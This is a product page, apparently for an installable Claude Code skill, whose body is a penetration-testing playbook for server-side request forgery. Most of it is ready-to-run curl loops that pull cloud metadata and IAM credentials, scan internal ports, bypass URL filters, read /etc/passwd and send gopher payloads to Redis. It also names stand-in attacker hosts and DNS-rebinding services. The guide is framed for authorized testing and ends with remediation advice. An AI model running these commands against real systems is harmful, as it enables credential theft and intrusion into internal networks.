mcpField
E
exploiting-server-side-request-forgery

exploiting-server-side-request-forgery

github.com/mukul975安全35.2k278 次安装8 周前更新
代码仓库

关于 exploiting-server-side-request-forgery

面向授权安全测试的 SSRF 技能,适用于会获取用户提供 URL 的应用。内容涵盖识别风险功能、测试影响与过滤绕过,以及整理漏洞报告。

主要功能

  1. 01识别获取 URL 的功能
  2. 02测试云元数据访问
  3. 03探测内网服务与端口
  4. 04尝试过滤器绕过
  5. 05评估盲 SSRF 与 DNS 重绑定
  6. 06整理漏洞报告

适用场景

  1. 01评估 webhook 和 URL 导入接口
  2. 02测试 PDF 或截图生成功能
  3. 03检查内网暴露风险
  4. 04记录授权渗透测试发现

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-server-side-request-forgery

安装后在 Claude Code 中输入/exploiting-server-side-request-forgery确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

利用服务端请求伪造

何时使用

  • 在获得授权的渗透测试中,当应用程序抓取用户提供的 URL 时(webhook、URL 预览、文件导入)
  • 在测试云托管应用程序是否存在对实例元数据服务的访问时
  • 在评估 PDF 生成器、截图服务或任何渲染外部内容的功能时
  • 在评估微服务架构是否存在通过 SSRF 访问内部服务时
  • 在对接接受 URL 参数以获取数据的 API 进行安全评估时

前提条件

  • 授权:包含 SSRF 测试范围的书面渗透测试协议
  • Burp Suite Professional:配合 Collaborator 进行带外检测
  • interactsh:开源 OOB 交互服务器(go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest)
  • SSRFmap:自动化 SSRF 利用框架(git clone https://github.com/swisskyrepo/SSRFmap.git)
  • curl:用于手动测试 SSRF payload
  • 目标基础设施相关知识:云服务商(AWS、GCP、Azure)、内部 IP 地址范围

工作流

步骤 1:识别易受 SSRF 攻击的功能

梳理所有会发起服务端 HTTP 请求的应用程序功能。

# Common SSRF-prone features:
# - URL preview/unfurling (Slack-like link previews)
# - Webhook configuration endpoints
# - File import from URL (import CSV from URL)
# - PDF/screenshot generation from URL
# - Image/avatar fetching from URL
# - RSS/feed aggregation
# - OAuth callback URLs
# - API proxy/gateway features

# Test a URL parameter with Burp Collaborator
# Replace URL values with Collaborator payload
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \
  "https://target.example.com/api/webhooks"

# Test URL in various parameter names
for param in url uri link href src dest redirect callback webhook \
  image_url avatar_url feed_url import_url proxy_url; do
  echo "Testing param: $param"
  curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"
done
步骤 2:访问云实例元数据

测试针对云服务商元数据服务的 SSRF payload。

# AWS EC2 Metadata (IMDSv1)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
  "https://target.example.com/api/fetch-url"

# AWS - Get IAM role credentials
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  "https://target.example.com/api/fetch-url"

# GCP Metadata
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \
  "https://target.example.com/api/fetch-url"

# Azure Metadata
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \
  "https://target.example.com/api/fetch-url"

# DigitalOcean Metadata
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/metadata/v1/"}' \
  "https://target.example.com/api/fetch-url"
步骤 3:通过 SSRF 扫描内部网络

利用 SSRF 漏洞发现内部服务和端口。

# Internal network scanning - common private ranges
for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do
  for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
    echo -n "$ip:$port -> "
    response=$(curl -s --max-time 3 -X POST \
      -H "Content-Type: application/json" \
      -d "{\"url\":\"http://$ip:$port/\"}" \
      "https://target.example.com/api/fetch-url")
    echo "$response" | head -c 100
    echo
  done
done

# Kubernetes internal services
for svc in kubernetes.default.svc \
  kubernetes-dashboard.kubernetes-dashboard.svc \
  kube-dns.kube-system.svc; do
  curl -s --max-time 3 -X POST \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"http://$svc/\"}" \
    "https://target.example.com/api/fetch-url"
done

# Access internal admin panels
for path in /admin /console /actuator/env /server-status /_cat/indices; do
  curl -s -X POST \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"http://127.0.0.1:8080$path\"}" \
    "https://target.example.com/api/fetch-url"
done
步骤 4:绕过 SSRF 过滤器和允许列表

当基础 payload 被拦截时,使用绕过技术。

# IP address encoding bypasses for 127.0.0.1
PAYLOADS=(
  "http://127.0.0.1/"
  "http://0177.0.0.1/"          # Octal
  "http://0x7f.0.0.1/"          # Hex
  "http://2130706433/"           # Decimal
  "http://127.1/"                # Short form
  "http://0/"                    # Zero
  "http://[::1]/"                # IPv6 loopback
  "http://0.0.0.0/"              # All interfaces
  "http://localtest.me/"         # DNS resolves to 127.0.0.1
  "http://spoofed.burpcollaborator.net/"  # DNS rebinding
  "http://127.0.0.1.nip.io/"    # Wildcard DNS
)

for payload in "${PAYLOADS[@]}"; do
  echo -n "$payload -> "
  curl -s -o /dev/null -w "%{http_code}" --max-time 3 \
    -X POST -H "Content-Type: application/json" \
    -d "{\"url\":\"$payload\"}" \
    "https://target.example.com/api/fetch-url"
  echo
done

# URL parsing bypass
# Embed credentials: http://[email protected]/
# Fragment: http://evil.com#expected.com
# URL encoding: http://127.0.0.%31/
# Redirect chain: http://attacker.com/redirect?url=http://127.0.0.1

# Protocol bypass
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"file:///etc/passwd"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"gopher://127.0.0.1:6379/_SET%20ssrf%20test"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"dict://127.0.0.1:6379/info"}' \
  "https://target.example.com/api/fetch-url"
步骤 5:利用 SSRF 升级影响

将 SSRF 与内部服务串联以实现最大影响。

# Access Redis via gopher protocol
# Craft gopher payload to set a webshell via Redis
# gopher://127.0.0.1:6379/_CONFIG SET dir /var/www/html
# This is for authorized testing only

# Access Elasticsearch
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:9200/_cat/indices?v"}' \
  "https://target.example.com/api/fetch-url"

# Read data from Elasticsearch
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:9200/users/_search?size=10"}' \
  "https://target.example.com/api/fetch-url"

# Access internal Jenkins
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:8080/script"}' \
  "https://target.example.com/api/fetch-url"

# AWS: Retrieve temporary credentials from IAM role
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}' \
  "https://target.example.com/api/fetch-url"
# Returns: AccessKeyId, SecretAccessKey, Token
步骤 6:测试盲 SSRF 和 DNS 重绑定

适用于响应不会返回给攻击者的情况。

# Blind SSRF detection using time-based analysis
# Compare response times for accessible vs inaccessible ports
time curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:22/"}' \
  "https://target.example.com/api/fetch-url"

time curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:12345/"}' \
  "https://target.example.com/api/fetch-url"

# DNS rebinding attack
# 1. Set up a DNS server that alternates between:
#    - First query: returns attacker IP (passes allowlist)
#    - Second query: returns 127.0.0.1 (targets internal service)
# 2. Use a rebinding service like rbndr.us

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://7f000001.c0a80001.rbndr.us/"}' \
  "https://target.example.com/api/fetch-url"
# rbndr.us alternates DNS responses between the two encoded IPs

关键概念

概念描述
SSRF服务端请求伪造 - 使服务器向非预期目的地发送请求
盲 SSRF响应不会返回给攻击者的 SSRF,需要 OOB 检测
云元数据实例元数据服务(169.254.169.254),会暴露凭据和配置
Gopher 协议允许传输原始 TCP 数据的协议,可用于攻击内部服务
DNS 重绑定通过切换 IP 解析来绕过 SSRF 主机名允许列表的 DNS 攻击
TOCTOUURL 校验中的检查时间到使用时间竞态条件
IMDSv2AWS 元数据服务 v2,要求会话令牌,可缓解基础 SSRF
开放重定向链利用开放重定向绕过 SSRF 过滤器中的 URL 允许列表

工具与系统

工具用途
Burp Suite Professional请求修改和 Collaborator,用于盲 SSRF 检测
SSRFmap支持多种协议的自动化 SSRF 利用框架
interactsh用于盲 SSRF 的带外交互检测
Gopherus生成用于攻击内部服务的 gopher payload
rbndr.us用于绕过 SSRF 过滤器的 DNS 重绑定服务
singularity用于自动化利用的 DNS 重绑定攻击框架

常见场景

场景 1:Webhook URL SSRF 获取 AWS 凭据

Webhook 配置端点允许指定回调 URL。将其指向 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 会返回临时 AWS IAM 凭据,可用于访问 S3 存储桶和其他 AWS 服务。

场景 2:PDF 生成器 SSRF

一项根据 URL 生成 PDF 的功能会发起服务端请求。提供 http://127.0.0.1:8080/admin 作为 URL 会生成包含内部管理面板内容的 PDF。

场景 3:带协议绕过的图片 URL SSRF

头像 URL 字段会过滤 HTTP/HTTPS,但接受 file:// 协议。使用 file:///etc/passwd 作为头像 URL 会导致服务器读取本地文件并将内容包含在响应中。

场景 4:盲 SSRF 攻击内部 Redis

某 URL 抓取功能不返回响应内容,但会确认成功/失败。攻击者利用 gopher 协议载荷向内部 Redis 实例写入数据,从而实现远程代码执行。

输出格式

## SSRF Vulnerability Finding

**Vulnerability**: Server-Side Request Forgery (Full SSRF)
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/webhooks - `callback_url` parameter
**OWASP Category**: A10:2021 - Server-Side Request Forgery

### Reproduction Steps
1. Send POST /api/webhooks with callback_url set to http://169.254.169.254/latest/meta-data/
2. Server makes request to AWS metadata endpoint
3. Response contains AWS instance metadata including IAM role name
4. Follow up with IAM credentials endpoint to retrieve temporary access keys

### Confirmed Access
| Target | Protocol | Response |
|--------|----------|----------|
| 169.254.169.254 (AWS metadata) | HTTP | IAM credentials retrieved |
| 127.0.0.1:6379 (Redis) | Gopher | Commands executed |
| 127.0.0.1:9200 (Elasticsearch) | HTTP | Index listing retrieved |
| 10.0.0.5:8080 (Internal API) | HTTP | Admin panel accessible |

### Impact
- AWS IAM temporary credentials exfiltrated (S3 read/write access)
- Internal Redis server accessible (potential RCE)
- Internal Elasticsearch data exposed (user records)
- Full internal network scanning capability

### Recommendation
1. Implement strict URL allowlisting (only allow known trusted domains)
2. Block requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)
3. Upgrade to AWS IMDSv2 (requires session token header)
4. Disable unused URL protocols (gopher, file, dict, ftp)
5. Use a dedicated outbound proxy for server-side requests with DNS resolution controls

评论

支持 Markdown